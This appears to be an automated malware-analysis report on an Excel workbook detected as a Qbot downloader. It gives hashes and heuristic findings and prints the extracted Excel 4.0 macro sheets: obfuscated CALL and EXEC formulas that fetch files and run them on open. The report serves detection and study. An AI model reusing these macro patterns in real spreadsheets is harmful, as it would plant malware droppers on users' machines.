Office (OOXML) malware analysis — malicious · abb1cf3bf2959fbf

MALICIOUS

Office (OOXML)

136.1 KB Created: 2006-09-16 00:00:00 UTC Authoring application: Microsoft Excel 14.0300 First seen: 2021-05-15

MD5: 69ac1b954b3bf7648ea6d2829e5d6c53 SHA-1: a307b97c20fd93c98f3cb42f64f18ad29f5a4eff SHA-256: abb1cf3bf2959fbf238b30dfbaed66fa7a997658f68eb23f4ae5edf78cf39ae4

242 Risk Score

Heuristics 5

ClamAV: Xls.Downloader.Qbot0421-9856653-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Xls.Downloader.Qbot0421-9856653-0
Excel 4.0 macro sheet (5 sheet(s)) critical 2 related findings OOXML_XLM_MACROSHEET

Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAME

Workbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
Dangerous XLM formula APIs: EXEC, HALT, CALL critical OOXML_XLM_DANGEROUS_FN

Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://ns.adobe.com/xap/1.0/ In document text (OOXML body / shared strings)
- http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
- http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)
- http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
- http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
- http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
- http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/spreadsheetml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)

Extracted artifacts 5

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`xlm_sheet_00.xml`	xlm-macrosheet	OOXML XLM macro sheet: xl/macrosheets/sheet3.xml	1104 bytes
SHA-256: `c9572e438bfcb24b5f5867be7e8e800b585523f7fc02709bcf337d1e556e35d6`
Preview script First 1,000 lines of the extracted script <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac"><dimension ref="AB42"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="4.5703125" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="16384" width="4.5703125" style="1"/></cols><sheetData><row r="42" spans="28:28" x14ac:dyDescent="0.25"><c r="AB42" s="1" t="e"><f>EXEC(Sheet1!AD59&Sheet1!AD60&Sheet1!AD61&Sheet1!AD62&Sheet1!AD63&Sheet1!AD51&Sheet1!AD55&Sheet1!AD56)=ASIN(111555155)=Sheet4!AO18()=ACOS(151515151651)</f><v>#NUM!</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>
`xlm_sheet_01.xml`	xlm-macrosheet	OOXML XLM macro sheet: xl/macrosheets/sheet1.xml	4182 bytes
SHA-256: `341b6aa872c886159965ac2ef1c12d243e9d2b30a24322e792190b0fc25b7efa`
Preview script First 1,000 lines of the extracted script <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac"><dimension ref="AB13:AH65"/><sheetViews><sheetView showFormulas="1" zoomScaleNormal="100" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="4.5703125" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="16384" width="4.5703125" style="1"/></cols><sheetData><row r="13" spans="33:33" x14ac:dyDescent="0.25"><c r="AG13" s="1" t="b"><f>Sheet2!AH21()</f><v>0</v></c></row><row r="17" spans="34:34" x14ac:dyDescent="0.25"><c r="AH17" s="1" t="b"><f>HALT()</f><v>1</v></c></row><row r="37" spans="28:32" x14ac:dyDescent="0.25"><c r="AD37" s="1" t="str"><f>"JJCCBB"</f><v>JJCCBB</v></c></row><row r="38" spans="28:32" x14ac:dyDescent="0.25"><c r="AB38" s="1" t="s"><v>0</v></c><c r="AC38" s="1" t="s"><v>0</v></c></row><row r="39" spans="28:32" x14ac:dyDescent="0.25"><c r="AB39" s="1" t="s"><v>1</v></c><c r="AC39" s="1" t="s"><v>1</v></c></row><row r="40" spans="28:32" x14ac:dyDescent="0.25"><c r="AB40" s="1" t="s"><v>2</v></c><c r="AC40" s="1" t="s"><v>3</v></c></row><row r="41" spans="28:32" x14ac:dyDescent="0.25"><c r="AB41" s="1" t="s"><v>4</v></c><c r="AC41" s="1" t="s"><v>4</v></c></row><row r="42" spans="28:32" x14ac:dyDescent="0.25"><c r="AB42" s="1" t="s"><v>5</v></c><c r="AC42" s="1" t="s"><v>6</v></c></row><row r="43" spans="28:32" x14ac:dyDescent="0.25"><c r="AC43" s="1" t="s"><v>5</v></c></row><row r="44" spans="28:32" x14ac:dyDescent="0.25"><c r="AC44" s="1" t="s"><v>7</v></c></row><row r="45" spans="28:32" x14ac:dyDescent="0.25"><c r="AD45" s="1" t="s"><v>20</v></c><c r="AF45" s="1" t="s"><v>24</v></c></row><row r="46" spans="28:32" x14ac:dyDescent="0.25"><c r="AC46" s="1" t="s"><v>8</v></c><c r="AD46" s="1" t="s"><v>21</v></c><c r="AF46" s="1" t="s"><v>25</v></c></row><row r="47" spans="28:32" x14ac:dyDescent="0.25"><c r="AC47" s="1" t="s"><v>9</v></c><c r="AD47" s="1" t="s"><v>22</v></c><c r="AF47" s="1" t="s"><v>26</v></c></row><row r="48" spans="28:32" x14ac:dyDescent="0.25"><c r="AC48" s="1" t="s"><v>10</v></c><c r="AD48" s="1" t="s"><v>23</v></c><c r="AF48" s="1" t="s"><v>27</v></c></row><row r="49" spans="28:32" x14ac:dyDescent="0.25"><c r="AC49" s="1" t="s"><v>4</v></c></row><row r="50" spans="28:32" x14ac:dyDescent="0.25"><c r="AC50" s="1" t="s"><v>11</v></c></row><row r="51" spans="28:32" x14ac:dyDescent="0.25"><c r="AC51" s="1" t="s"><v>12</v></c><c r="AD51" s="1" t="str"><f>"..\sdiniefeni.sdi1"</f><v>..\sdiniefeni.sdi1</v></c><c r="AF51" s="1" t="str"><f>"..\sdiniefeni.sdi2"</f><v>..\sdiniefeni.sdi2</v></c></row><row r="52" spans="28:32" x14ac:dyDescent="0.25"><c r="AC52" s="1" t="s"><v>7</v></c></row><row r="53" spans="28:32" x14ac:dyDescent="0.25"><c r="AC53" s="1" t="s"><v>13</v></c></row><row r="55" spans="28:32" x14ac:dyDescent="0.25"><c r="AD55" s="1" t="s"><v>14</v></c></row><row r="56" spans="28:32" x14ac:dyDescent="0.25"><c r="AD56" s="1" t="s"><v>15</v></c></row><row r="59" spans="28:32" x14ac:dyDescent="0.25"><c r="AD59" s="1" t="s"><v>16</v></c></row><row r="60" spans="28:32" x14ac:dyDescent="0.25"><c r="AD60" s="1" t="s"><v>17</v></c></row><row r="61" spans="28:32" x14ac:dyDescent="0.25"><c r="AD61" s="1" t="s"><v>18</v></c></row><row r="62" spans="28:32" x14ac:dyDescent="0.25"><c r="AD62" s="1" t="s"><v>19</v></c></row><row r="63" spans="28:32" x14ac:dyDescent="0.25"><c r="AB63" s="1"><v>0</v></c><c r="AD63" s="1" t="str"><f>"2 "</f><v xml:space="preserve">2 </v></c></row><row r="64" spans="28:32" x14ac:dyDescent="0.25"><c r="AB64" s="1"><v>0</v></c></row><row r="65" spans="28:28" x14ac:dyDescent="0.25"><c r="AB65" s="1"><v>0</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><pageSetup paperSize="9" orientation="portrait" r:id="rId1"/></xm:macrosheet>
`xlm_sheet_02.xml`	xlm-macrosheet	OOXML XLM macro sheet: xl/macrosheets/sheet2.xml	1405 bytes
SHA-256: `45a1717bf0471e436f070526d7fcbefcee84427ee7fb6f962981cf945ee53f64`
Preview script First 1,000 lines of the extracted script <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac"><dimension ref="AH27"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="4.5703125" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="16384" width="4.5703125" style="1"/></cols><sheetData><row r="27" spans="34:34" x14ac:dyDescent="0.25"><c r="AH27" s="1" t="b"><f>CALL("U"&Sheet1!AB38&Sheet1!AB39&Sheet1!AB40&Sheet1!AB41&Sheet1!AB42,"U"&Sheet1!AC38&Sheet1!AC39&Sheet1!AC40&Sheet1!AC41&Sheet1!AC42&Sheet1!AC43&Sheet1!AC44&"o"&Sheet1!AC46&Sheet1!AC47&Sheet1!AC48&Sheet1!AC49&Sheet1!AC50&Sheet1!AC51&Sheet1!AC52&Sheet1!AC53&"A",Sheet1!AD37,Sheet1!AB63,Sheet1!AD45&Sheet1!AD46&Sheet1!AD47&Sheet1!AD48,Sheet1!AD51,Sheet1!AB64,Sheet1!AB65)=Sheet5!AJ17()</f><v>1</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>
`xlm_sheet_03.xml`	xlm-macrosheet	OOXML XLM macro sheet: xl/macrosheets/sheet4.xml	1138 bytes
SHA-256: `a401e6e5c25bec0ca4ab14ba6044860024840b3cfbdefb1b5bbbf9f8e9776b60`
Preview script First 1,000 lines of the extracted script <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac"><dimension ref="AO24"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="4.5703125" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="16384" width="4.5703125" style="1"/></cols><sheetData><row r="24" spans="41:41" x14ac:dyDescent="0.25"><c r="AO24" s="1" t="e"><f>EXEC(Sheet1!AD59&Sheet1!AD60&Sheet1!AD61&Sheet1!AD62&Sheet1!AD63&Sheet1!AF51&Sheet1!AD55&Sheet1!AD56)=ASIN(111555155)=ACOS(151515151651)=948446+6464645=Sheet1!AH15()=694694654+64654654</f><v>#NUM!</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>
`xlm_sheet_04.xml`	xlm-macrosheet	OOXML XLM macro sheet: xl/macrosheets/sheet5.xml	1490 bytes
SHA-256: `9e4c2e5b9e1ac4eaca601866d0be5fbc30ecddb90a1bea5a1647cdfdb83f1299`
Preview script First 1,000 lines of the extracted script <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac"><dimension ref="AJ21"/><sheetViews><sheetView showFormulas="1" zoomScaleNormal="100" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="4.42578125" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="16384" width="4.42578125" style="1"/></cols><sheetData><row r="21" spans="36:36" x14ac:dyDescent="0.25"><c r="AJ21" s="1" t="b"><f>CALL("U"&Sheet1!AB38&Sheet1!AB39&Sheet1!AB40&Sheet1!AB41&Sheet1!AB42,"U"&Sheet1!AC38&Sheet1!AC39&Sheet1!AC40&Sheet1!AC41&Sheet1!AC42&Sheet1!AC43&Sheet1!AC44&"o"&Sheet1!AC46&Sheet1!AC47&Sheet1!AC48&Sheet1!AC49&Sheet1!AC50&Sheet1!AC51&Sheet1!AC52&Sheet1!AC53&"A",Sheet1!AD37,Sheet1!AB63,Sheet1!AF45&Sheet1!AF46&Sheet1!AF47&Sheet1!AF48,Sheet1!AF51,Sheet1!AB64,Sheet1!AB65)=Sheet3!AB37()</f><v>1</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><pageSetup paperSize="9" orientation="portrait" r:id="rId1"/></xm:macrosheet>

Open this report in the interactive analyzer, or submit your own file for analysis.